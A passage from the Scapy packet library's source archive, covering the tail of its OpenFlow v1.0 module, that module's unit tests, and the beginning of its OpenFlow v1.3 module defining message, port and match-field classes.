"DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST" ]), IntField("max_entries", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0) ] class OFPTStatsReplyTable(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("table_stats", None, OFPTableStats, length_from=lambda pkt:pkt.len-12) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestPort(_ofp_header): name = "OFPST_STATS_REQUEST_PORT" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XBitField("pad", 0, 48) ] overload_fields = {TCP: {"sport": 6653}} class OFPPortStats(Packet): def extract_padding(self, s): return "", s name = "OFP_PORT_STATS" fields_desc = [ ShortEnumField("port_no", 0, ofp_port_no), XBitField("pad", 0, 48), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0) ] class OFPTStatsReplyPort(_ofp_header): name = "OFPST_STATS_REPLY_TABLE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 4, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketListField("port_stats", None, OFPPortStats, length_from=lambda pkt:pkt.len-12) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestQueue(_ofp_header): name = "OFPST_STATS_REQUEST_QUEUE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue) ] overload_fields = {TCP: {"sport": 6653}} class OFPTStatsReplyQueue(_ofp_header): name = "OFPST_STATS_REPLY_QUEUE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 5, ofp_stats_types), FlagsField("flags", 0, 16, []), ShortEnumField("port_no", "NONE", ofp_port_no), XShortField("pad", 0), IntEnumField("queue_id", "ALL", ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestVendor(_ofp_header): name = "OFPST_STATS_REQUEST_VENDOR" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTStatsReplyVendor(_ofp_header): name = "OFPST_STATS_REPLY_VENDOR" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 6, ofp_stats_types), FlagsField("flags", 0, 16, []), IntField("vendor", 0) ] overload_fields = {TCP: {"dport": 6653}} # ofp_stats_request/reply_cls allows generic method OpenFlow() (end of script) # to choose the right class for dissection ofp_stats_request_cls = { 0: OFPTStatsRequestDesc, 1: OFPTStatsRequestFlow, 2: OFPTStatsRequestAggregate, 3: OFPTStatsRequestTable, 4: OFPTStatsRequestPort, 5: OFPTStatsRequestQueue, 65535: OFPTStatsRequestVendor } ofp_stats_reply_cls = { 0: OFPTStatsReplyDesc, 1: OFPTStatsReplyFlow, 2: OFPTStatsReplyAggregate, 3: OFPTStatsReplyTable, 4: OFPTStatsReplyPort, 5: OFPTStatsReplyQueue, 65535: OFPTStatsReplyVendor } ################ end of OFPT_STATS ################## class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XShortField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), QueuePacketListField("queues", [], Packet, length_from=lambda pkt:pkt.len-16) ] overload_fields = {TCP: {"dport": 6653}} # ofpt_cls allows generic method OpenFlow() to choose the right class for dissection ofpt_cls = { 0: OFPTHello, #1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTVendor, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTPortMod, #16: OFPTStatsRequest, #17: OFPTStatsReply, 18: OFPTBarrierRequest, 19: OFPTBarrierReply, 20: OFPTQueueGetConfigRequest, 21: OFPTQueueGetConfigReply } TCP_guess_payload_class_copy = TCP.guess_payload_class def OpenFlow(self, payload): if self is None or self.dport == 6653 or self.dport == 6633 or self.sport == 6653 or self.sport == 6653: # port 6653 has been allocated by IANA, port 6633 should no longer be used # OpenFlow function may be called with None self in OFPPacketField of_type = ord(payload[1]) if of_type == 1: err_type = ord(payload[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 16: mp_type = ord(payload[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_request_cls[mp_type] elif of_type == 17: mp_type = ord(payload[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_reply_cls[mp_type] else: return ofpt_cls[of_type] else: return TCP_guess_payload_class_copy(self, payload) TCP.guess_payload_class = OpenFlow scapy-2.3.3/scapy/contrib/openflow.uts000077500000000000000000000063371300136037300200130ustar00rootroot00000000000000% Tests for OpenFlow v1.0 with Scapy + Usual OFv1.0 messages = OFPTHello(), simple hello message ofm = OFPTHello() str(ofm) == '\x01\x00\x00\x08\x00\x00\x00\x00' = OFPTEchoRequest(), echo request ofm = OFPTEchoRequest() str(ofm) == '\x01\x02\x00\x08\x00\x00\x00\x00' = OFPMatch(), check wildcard completion ofm = OFPMatch(in_port=1, nw_tos=8) ofm = OFPMatch(str(ofm)) assert(ofm.wildcards1 == 0x1) ofm.wildcards2 == 0xfe = OpenFlow(), generic method test with OFPTEchoRequest() ofm = OFPTEchoRequest() s = str(ofm) isinstance(OpenFlow(None,s)(s), OFPTEchoRequest) = OFPTFlowMod(), check codes and defaults values ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG') assert(ofm.cmd == 3) assert(ofm.buffer_id == 0xffffffff) assert(ofm.out_port == 0xfffd) ofm.flags == 6 + Complex OFv1.3 messages = OFPTFlowMod(), complex flow_mod mtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8) act1 = OFPATSetNwSrc(nw_addr='192.168.42.1') act2 = OFPATOutput(port='CONTROLLER') act3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64') ofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3]) str(ofm) s = '\x01\x0e\x00h\x00\x00\x00\x00\x00?\xc8\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\xff\xff\xff\xff\xff\xff\x00\x02\x00\x06\x00\x08\xc0\xa8*\x01\x00\x00\x00\x08\xff\xfd\xff\xff\x00\x04\x00\x10\x1a\xd5\xcbN ## This program is published under a GPLv2 license ## Copyright (C) 2014 Maxence Tury ## OpenFlow is an open standard used in SDN deployments. ## Based on OpenFlow v1.3.4 ## Specifications can be retrieved from https://www.opennetworking.org/ # scapy.contrib.description = openflow v1.3 # scapy.contrib.status = loads import struct from scapy.fields import * from scapy.layers.l2 import * from scapy.layers.inet import * ### If prereq_autocomplete is True then match prerequisites will be ### automatically handled. See OFPMatch class. prereq_autocomplete = False ##################################################### ################# Predefined values ################# ##################################################### ofp_port_no = { 0xfffffff8: "IN_PORT", 0xfffffff9: "TABLE", 0xfffffffa: "NORMAL", 0xfffffffb: "FLOOD", 0xfffffffc: "ALL", 0xfffffffd: "CONTROLLER", 0xfffffffe: "LOCAL", 0xffffffff: "ANY" } ofp_group = { 0xffffff00: "MAX", 0xfffffffc: "ALL", 0xffffffff: "ANY" } ofp_table = { 0xfe: "MAX", 0xff: "ALL" } ofp_queue = { 0xffffffff: "ALL" } ofp_meter = { 0xffff0000: "MAX", 0xfffffffd: "SLOWPATH", 0xfffffffe: "CONTROLLER", 0xffffffff: "ALL" } ofp_buffer = { 0xffffffff: "NO_BUFFER" } ofp_max_len = { 0xffff: "NO_BUFFER" } ##################################################### ################# Common structures ################# ##################################################### ### The following structures will be used in different types ### of OpenFlow messages: ports, matches/OXMs, actions, ### instructions, buckets, queues, meter bands. ################## Hello elements ################### class _ofp_hello_elem_header(Packet): name = "Dummy OpenFlow Hello Elem Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_hello_elem_types = { 1: "OFPHET_VERSIONBITMAP" } class OFPHETVersionBitmap(_ofp_hello_elem_header): name = "OFPHET_VERSIONBITMAP" fields_desc = [ ShortEnumField("type", 1, ofp_hello_elem_types), ShortField("len", 8), FlagsField("bitmap", 0, 32, [ "Type 0", "OFv1.0", "OFv1.1", "OFv1.2", "OFv1.3", "OFv1.4" ]) ] ofp_hello_elem_cls = { 1: OFPHETVersionBitmap } class HelloElemPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_hello_elem_cls.get(t, Raw)(s) @staticmethod def _get_hello_elem_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = HelloElemPacketListField._get_hello_elem_length(remain) current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ####################### Ports ####################### ofp_port_config = [ "PORT_DOWN", "NO_STP", # undefined in v1.3 "NO_RECV", "NO_RECV_STP", # undefined in v1.3 "NO_FLOOD", # undefined in v1.3 "NO_FWD", "NO_PACKET_IN" ] ofp_port_state = [ "LINK_DOWN", "BLOCKED", "LIVE" ] ofp_port_features = [ "10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "40GB_FD", "100GB_FD", "1TB_FD", "OTHER", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM" ] class OFPPort(Packet): name = "OFP_PHY_PORT" fields_desc = [ IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), FlagsField("state", 0, 32, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features), IntField("curr_speed", 0), IntField("max_speed", 0) ] def extract_padding(self, s): return "", s # extract_padding is overridden in order for s not to be considered # as belonging to the same layer (s usually contains other OFPPorts) ################### Matches & OXMs ################## ofp_oxm_classes = { 0: "OFPXMC_NXM_0", 1: "OFPXMC_NXM_1", 0x8000: "OFPXMC_OPENFLOW_BASIC", 0xffff: "OFPXMC_EXPERIMENTER" } ofp_oxm_names = { 0: "OFB_IN_PORT", 1: "OFB_IN_PHY_PORT", 2: "OFB_METADATA", 3: "OFB_ETH_DST", 4: "OFB_ETH_SRC", 5: "OFB_ETH_TYPE", 6: "OFB_VLAN_VID", 7: "OFB_VLAN_PCP", 8: "OFB_IP_DSCP", 9: "OFB_IP_ECN", 10: "OFB_IP_PROTO", 11: "OFB_IPV4_SRC", 12: "OFB_IPV4_DST", 13: "OFB_TCP_SRC", 14: "OFB_TCP_DST", 15: "OFB_UDP_SRC", 16: "OFB_UDP_DST", 17: "OFB_SCTP_SRC", 18: "OFB_SCTP_DST", 19: "OFB_ICMPV4_TYPE", 20: "OFB_ICMPV4_CODE", 21: "OFB_ARP_OP", 22: "OFB_ARP_SPA", 23: "OFB_ARP_TPA", 24: "OFB_ARP_SHA", 25: "OFB_ARP_THA", 26: "OFB_IPV6_SRC", 27: "OFB_IPV6_DST", 28: "OFB_IPV6_FLABEL", 29: "OFB_ICMPV6_TYPE", 30: "OFB_ICMPV6_CODE", 31: "OFB_IPV6_ND_TARGET", 32: "OFB_IPV6_ND_SLL", 33: "OFB_IPV6_ND_TLL", 34: "OFB_MPLS_LABEL", 35: "OFB_MPLS_TC", 36: "OFB_MPLS_BOS", 37: "OFB_PBB_ISID", 38: "OFB_TUNNEL_ID", 39: "OFB_IPV6_EXTHDR" } ofp_oxm_constr = { 0: ["OFBInPort", "in_port", 4], 1: ["OFBInPhyPort", "in_phy_port", 4], 2: ["OFBMetadata", "metadata", 8], 3: ["OFBEthDst", "eth_dst", 6], 4: ["OFBEthSrc", "eth_src", 6], 5: ["OFBEthType", "eth_type", 2], 6: ["OFBVLANVID", "vlan_vid", 2], 7: ["OFBVLANPCP", "vlan_pcp", 1], 8: ["OFBIPDSCP", "ip_dscp", 1], 9: ["OFBIPECN", "ip_ecn", 1], 10: ["OFBIPProto", "ip_proto", 1], 11: ["OFBIPv4Src", "ipv4_src", 4], 12: ["OFBIPv4Dst", "ipv4_dst", 4], 13: ["OFBTCPSrc", "tcp_src", 2], 14: ["OFBTCPDst", "tcp_dst", 2], 15: ["OFBUDPSrc", "udp_src", 2], 16: ["OFBUDPDst", "udp_dst", 2], 17: ["OFBSCTPSrc", "sctp_src", 2], 18: ["OFBSCTPDst", "sctp_dst", 2], 19: ["OFBICMPv4Type", "icmpv4_type", 1], 20: ["OFBICMPv4Code", "icmpv4_code", 1], 21: ["OFBARPOP", "arp_op", 2], 22: ["OFBARPSPA", "arp_spa", 4], 23: ["OFBARPTPA", "arp_tpa", 4], 24: ["OFBARPSHA", "arp_sha", 6], 25: ["OFBARPTHA", "arp_tha", 6], 26: ["OFBIPv6Src", "ipv6_src", 16], 27: ["OFBIPv6Dst", "ipv6_dst", 16], 28: ["OFBIPv6FLabel", "ipv6_flabel", 4], 29: ["OFBICMPv6Type", "icmpv6_type", 1], 30: ["OFBICMPv6Code", "icmpv6_code", 1], 31: ["OFBIPv6NDTarget", "ipv6_nd_target", 16], 32: ["OFBIPv6NDSLL", "ipv6_sll", 6], 33: ["OFBIPv6NDTLL", "ipv6_tll", 6], 34: ["OFBMPLSLabel", "mpls_label", 4], 35: ["OFBMPLSTC", "mpls_tc", 1], 36: ["OFBMPLSBoS", "mpls_bos", 1], 37: ["OFBPBBISID", "pbb_isid", 3], 38: ["OFBTunnelID", "tunnel_id", 8], 39: ["OFBIPv6ExtHdr", "ipv6_ext_hdr_flags", 2] } # the ipv6flags array is useful only to the OFBIPv6ExtHdr class ipv6flags = [ "NONEXT", "ESP", "AUTH", "DEST", "FRAG", "ROUTER", "HOP", "UNREP", "UNSEQ" ] ### here we fill ofp_oxm_fields with the fields that will be used ### to generate the various OXM classes ### e.g. the call to add_ofp_oxm_fields(0, ["OFBInPort", "in_port", 4]) ### will add {0: [ShortEnumField("class",..), BitEnumField("field",..),..]} ofp_oxm_fields = {} def add_ofp_oxm_fields(i, org): ofp_oxm_fields[i] = [ ShortEnumField("class", "OFPXMC_OPENFLOW_BASIC", ofp_oxm_classes), BitEnumField("field", i/2, 7, ofp_oxm_names), BitField("hasmask", i%2, 1) ] ofp_oxm_fields[i].append(ByteField("length", org[2]+org[2]*(i%2))) if i/2 == 0: # OFBInPort ofp_oxm_fields[i].append(IntEnumField(org[1], 0, ofp_port_no)) elif i/2 == 3 or i/2 == 4: # OFBEthSrc & OFBEthDst ofp_oxm_fields[i].append(MACField(org[1], None)) elif i/2 == 11 or i/2 == 12: # OFBIPv4Src & OFBIPv4Dst ofp_oxm_fields[i].append(IPField(org[1], "0")) elif i/2 == 39: # OFBIPv6ExtHdr ofp_oxm_fields[i].append(FlagsField(org[1], 0, 8*org[2], ipv6flags)) else: ofp_oxm_fields[i].append(BitField(org[1], 0, 8*org[2])) if i%2: ofp_oxm_fields[i].append(BitField(org[1]+"_mask", 0, 8*org[2])) # some HM classes are not supported par OFv1.3 but we will create them anyway for i,cls in ofp_oxm_constr.items(): add_ofp_oxm_fields(2*i, cls) add_ofp_oxm_fields(2*i+1, cls) ### now we create every OXM class with the same call, ### (except that static variable create_oxm_class.i is each time different) ### and we fill ofp_oxm_cls with them ofp_oxm_cls = {} ofp_oxm_id_cls = {} def create_oxm_cls(): # static variable initialization if not hasattr(create_oxm_cls, "i"): create_oxm_cls.i = 0 index = create_oxm_cls.i cls_name = ofp_oxm_constr[index/4][0] # we create standard OXM then OXM ID then OXM with mask then OXM-hasmask ID if index % 4 == 2: cls_name += "HM" if index % 2: cls_name += "ID" oxm_name = ofp_oxm_names[index/4] oxm_fields = ofp_oxm_fields[index/2] # for ID classes we just want the first 4 fields (no payload) if index % 2: oxm_fields = oxm_fields[:4] cls = type(cls_name, (Packet,), { "name": oxm_name, "fields_desc": oxm_fields }) ### the first call to special function type will create the same class as in ### class OFBInPort(Packet): ### def __init__(self): ### self.name = "OFB_IN_PORT" ### self.fields_desc = [ ShortEnumField("class", 0x8000, ofp_oxm_classes), ### BitEnumField("field", 0, 7, ofp_oxm_names), ### BitField("hasmask", 0, 1), ### ByteField("length", 4), ### IntEnumField("in_port", 0, ofp_port_no) ] if index % 2 == 0: ofp_oxm_cls[index/2] = cls else: ofp_oxm_id_cls[index/2] = cls create_oxm_cls.i += 1 return cls OFBInPort = create_oxm_cls() OFBInPortID = create_oxm_cls() OFBInPortHM = create_oxm_cls() OFBInPortHMID = create_oxm_cls() OFBInPhyPort = create_oxm_cls() OFBInPhyPortID = create_oxm_cls() OFBInPhyPortHM = create_oxm_cls() OFBInPhyPortHMID = create_oxm_cls() OFBMetadata = create_oxm_cls() OFBMetadataID = create_oxm_cls() OFBMetadataHM = create_oxm_cls() OFBMetadataHMID = create_oxm_cls() OFBEthDst = create_oxm_cls() OFBEthDstID = create_oxm_cls() OFBEthDstHM = create_oxm_cls() OFBEthDstHMID = create_oxm_cls() OFBEthSrc = create_oxm_cls() OFBEthSrcID = create_oxm_cls() OFBEthSrcHM = create_oxm_cls() OFBEthSrcHMID = create_oxm_cls() OFBEthType = create_oxm_cls() OFBEthTypeID = create_oxm_cls() OFBEthTypeHM = create_oxm_cls() OFBEthTypeHMID = create_oxm_cls() OFBVLANVID = create_oxm_cls() OFBVLANVIDID = create_oxm_cls() OFBVLANVIDHM = create_oxm_cls() OFBVLANVIDHMID = create_oxm_cls() OFBVLANPCP = create_oxm_cls() OFBVLANPCPID = create_oxm_cls() OFBVLANPCPHM = create_oxm_cls() OFBVLANPCPHMID = create_oxm_cls() OFBIPDSCP = create_oxm_cls() OFBIPDSCPID = create_oxm_cls() OFBIPDSCPHM = create_oxm_cls() OFBIPDSCPHMID = create_oxm_cls() OFBIPECN = create_oxm_cls() OFBIPECNID = create_oxm_cls() OFBIPECNHM = create_oxm_cls() OFBIPECNHMID = create_oxm_cls() OFBIPProto = create_oxm_cls() OFBIPProtoID = create_oxm_cls() OFBIPProtoHM = create_oxm_cls() OFBIPProtoHMID = create_oxm_cls() OFBIPv4Src = create_oxm_cls() OFBIPv4SrcID = create_oxm_cls() OFBIPv4SrcHM = create_oxm_cls() OFBIPv4SrcHMID = create_oxm_cls() OFBIPv4Dst = create_oxm_cls() OFBIPv4DstID = create_oxm_cls() OFBIPv4DstHM = create_oxm_cls() OFBIPv4DstHMID = create_oxm_cls() OFBTCPSrc = create_oxm_cls() OFBTCPSrcID = create_oxm_cls() OFBTCPSrcHM = create_oxm_cls() OFBTCPSrcHMID = create_oxm_cls() OFBTCPDst = create_oxm_cls() OFBTCPDstID = create_oxm_cls() OFBTCPDstHM = create_oxm_cls() OFBTCPDstHMID = create_oxm_cls() OFBUDPSrc = create_oxm_cls() OFBUDPSrcID = create_oxm_cls() OFBUDPSrcHM = create_oxm_cls() OFBUDPSrcHMID = create_oxm_cls() OFBUDPDst = create_oxm_cls() OFBUDPDstID = create_oxm_cls() OFBUDPDstHM = create_oxm_cls() OFBUDPDstHMID = create_oxm_cls() OFBSCTPSrc = create_oxm_cls() OFBSCTPSrcID = create_oxm_cls() OFBSCTPSrcHM = create_oxm_cls() OFBSCTPSrcHMID = create_oxm_cls() OFBSCTPDst = create_oxm_cls() OFBSCTPDstID = create_oxm_cls() OFBSCTPDstHM = create_oxm_cls() OFBSCTPDstHMID = create_oxm_cls() OFBICMPv4Type = create_oxm_cls() OFBICMPv4TypeID = create_oxm_cls() OFBICMPv4TypeHM = create_oxm_cls() OFBICMPv4TypeHMID = create_oxm_cls() OFBICMPv4Code = create_oxm_cls() OFBICMPv4CodeID = create_oxm_cls() OFBICMPv4CodeHM = create_oxm_cls() OFBICMPv4CodeHMID = create_oxm_cls() OFBARPOP = create_oxm_cls() OFBARPOPID = create_oxm_cls() OFBARPOPHM = create_oxm_cls() OFBARPOPHMID = create_oxm_cls() OFBARPSPA = create_oxm_cls() OFBARPSPAID = create_oxm_cls() OFBARPSPAHM = create_oxm_cls() OFBARPSPAHMID = create_oxm_cls() OFBARPTPA = create_oxm_cls() OFBARPTPAID = create_oxm_cls() OFBARPTPAHM = create_oxm_cls() OFBARPTPAHMID = create_oxm_cls() OFBARPSHA = create_oxm_cls() OFBARPSHAID = create_oxm_cls() OFBARPSHAHM = create_oxm_cls() OFBARPSHAHMID = create_oxm_cls() OFBARPTHA = create_oxm_cls() OFBARPTHAID = create_oxm_cls() OFBARPTHAHM = create_oxm_cls() OFBARPTHAHMID = create_oxm_cls() OFBIPv6Src = create_oxm_cls() OFBIPv6SrcID = create_oxm_cls() OFBIPv6SrcHM = create_oxm_cls() OFBIPv6SrcHMID = create_oxm_cls() OFBIPv6Dst = create_oxm_cls() OFBIPv6DstID = create_oxm_cls() OFBIPv6DstHM = create_oxm_cls() OFBIPv6DstHMID = create_oxm_cls() OFBIPv6FLabel = create_oxm_cls() OFBIPv6FLabelID = create_oxm_cls() OFBIPv6FLabelHM = create_oxm_cls() OFBIPv6FLabelHMID = create_oxm_cls() OFBICMPv6Type = create_oxm_cls() OFBICMPv6TypeID = create_oxm_cls() OFBICMPv6TypeHM = create_oxm_cls() OFBICMPv6TypeHMID = create_oxm_cls() OFBICMPv6Code = create_oxm_cls() OFBICMPv6CodeID = create_oxm_cls() OFBICMPv6CodeHM = create_oxm_cls() OFBICMPv6CodeHMID = create_oxm_cls() OFBIPv6NDTarget = create_oxm_cls() OFBIPv6NDTargetID = create_oxm_cls() OFBIPv6NDTargetHM = create_oxm_cls() OFBIPv6NDTargetHMID = create_oxm_cls() OFBIPv6NDSLL = create_oxm_cls() OFBIPv6NDSLLID = create_oxm_cls() OFBIPv6NDSLLHM = create_oxm_cls() OFBIPv6NDSLLHMID = create_oxm_cls() OFBIPv6NDTLL = create_oxm_cls() OFBIPv6NDTLLID = create_oxm_cls() OFBIPv6NDTLLHM = create_oxm_cls() OFBIPv6NDTLLHMID = create_oxm_cls() OFBMPLSLabel = create_oxm_cls() OFBMPLSLabelID = create_oxm_cls() OFBMPLSLabelHM = create_oxm_cls() OFBMPLSLabelHMID = create_oxm_cls() OFBMPLSTC = create_oxm_cls() OFBMPLSTCID = create_oxm_cls() OFBMPLSTCHM = create_oxm_cls() OFBMPLSTCHMID = create_oxm_cls() OFBMPLSBoS = create_oxm_cls() OFBMPLSBoSID = create_oxm_cls() OFBMPLSBoSHM = create_oxm_cls() OFBMPLSBoSHMID = create_oxm_cls() OFBPBBISID = create_oxm_cls() OFBPBBISIDID = create_oxm_cls() OFBPBBISIDHM = create_oxm_cls() OFBPBBISIDHMID = create_oxm_cls() OFBTunnelID = create_oxm_cls() OFBTunnelIDID = create_oxm_cls() OFBTunnelIDHM = create_oxm_cls() OFBTunnelIDHMID = create_oxm_cls() OFBIPv6ExtHdr = create_oxm_cls() OFBIPv6ExtHdrID = create_oxm_cls() OFBIPv6ExtHdrHM = create_oxm_cls() OFBIPv6ExtHdrHMID = create_oxm_cls() ### need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications ### e.g. if you want to use an OFBTCPSrc instance (code 26) ### you first need to declare an OFBIPProto instance (code 20) with value 6, ### and if you want to use an OFBIPProto instance (still code 20) ### you first need to declare an OFBEthType instance (code 10) with value 0x0800 ### (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6) ### need_prereq codes are two times higher than previous oxm classes codes, ### except for 21 which is sort of a proxy for IPv6 (see below) need_prereq = { 14: [12, 0x1000], 16: [10, 0x0800], # could be 0x86dd 18: [10, 0x0800], # could be 0x86dd 20: [10, 0x0800], # could be 0x86dd 21: [10, 0x86dd], 22: [10, 0x0800], 24: [10, 0x0800], 26: [20, 6], 28: [20, 6], 30: [20, 17], 32: [20, 17], 34: [20, 132], 36: [20, 132], 38: [20, 1], 40: [20, 1], 42: [10, 0x0806], 44: [10, 0x0806], 46: [10, 0x0806], 48: [10, 0x0806], 50: [10, 0x0806], 52: [10, 0x86dd], 54: [10, 0x86dd], 56: [10, 0x86dd], 58: [21, 58], ### small trick here, we refer to normally non- 60: [21, 58], ### existent field 21 to distinguish ipv6 62: [58, 135], # could be 136 64: [58, 135], 66: [58, 136], 68: [10, 0x8847], # could be 0x8848 70: [10, 0x8847], # could be 0x8848 72: [10, 0x8847], # could be 0x8848 74: [10, 0x88e7], 78: [10, 0x86dd] } class OXMPacketListField(PacketListField): __slots__ = ["autocomplete", "index"] def __init__(self, name, default, cls, length_from=None, autocomplete=prereq_autocomplete): PacketListField.__init__(self, name, default, cls, length_from=length_from) self.autocomplete = autocomplete self.index = [] def i2m(self, pkt, val): ### this part makes for a faster writing of specs-compliant matches ### expect some unwanted behaviour if you try incoherent associations ### you might want to set autocomplete=False in __init__ method if self.autocomplete: # val might be modified during the loop so we need a fixed copy fix_val = copy.deepcopy(val) for oxm in fix_val: f = 2*oxm.field fix_index = list(self.index) while f in need_prereq: # this loop enables a small recursion # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type prereq = need_prereq[f] f = prereq[0] f2 = 20 if f == 21 else f # ipv6 trick... if f2 not in fix_index: self.index.insert(0, f2) prrq = ofp_oxm_cls[f2]() # never HM setattr(prrq, ofp_oxm_constr[f2/2][1], prereq[1]) val.insert(0, prrq) # we could do more complicated stuff to # make sure prerequisite order is correct # but it works well when presented with any coherent input # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code # and expect to get coherent results... # you can still go manual by setting prereq_autocomplete=False return val def m2i(self, pkt, s): t = struct.unpack("!B", s[2])[0] nrm_t = t - t%2 if nrm_t not in self.index: self.index.append(nrm_t) return ofp_oxm_cls.get(t, Raw)(s) @staticmethod def _get_oxm_length(s): return struct.unpack("!B", s[3])[0] def addfield(self, pkt, s, val): return s + "".join(map(str,self.i2m(pkt, val))) def getfield(self, pkt, s): lst = [] lim = self.length_from(pkt) ret = s[lim:] remain = s[:lim] while remain and len(remain) > 4: l = OXMPacketListField._get_oxm_length(remain) + 4 # this could also be done by parsing oxm_fields (fixed lengths) if l <= 4 or len(remain) < l: # no incoherent length break current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) self.index = [] ### since OXMPacketListField is called only twice (when OFPMatch and OFPSetField ### classes are created) and not when you want to instantiate an OFPMatch, ### index needs to be reinitialized, otherwise there will be some conflicts ### e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst, ### index will already be filled with ethertype and nwproto codes, ### thus the corresponding fields will not be added to the packet return remain + ret, lst class OXMIDPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!B", s[2])[0] return ofp_oxm_id_cls.get(t, Raw)(s) def getfield(self, pkt, s): lst = [] lim = self.length_from(pkt) ret = s[lim:] remain = s[:lim] while remain and len(remain) >= 4: # all OXM ID are 32-bit long (no experimenter OXM support here) current = remain[:4] remain = remain[4:] p = 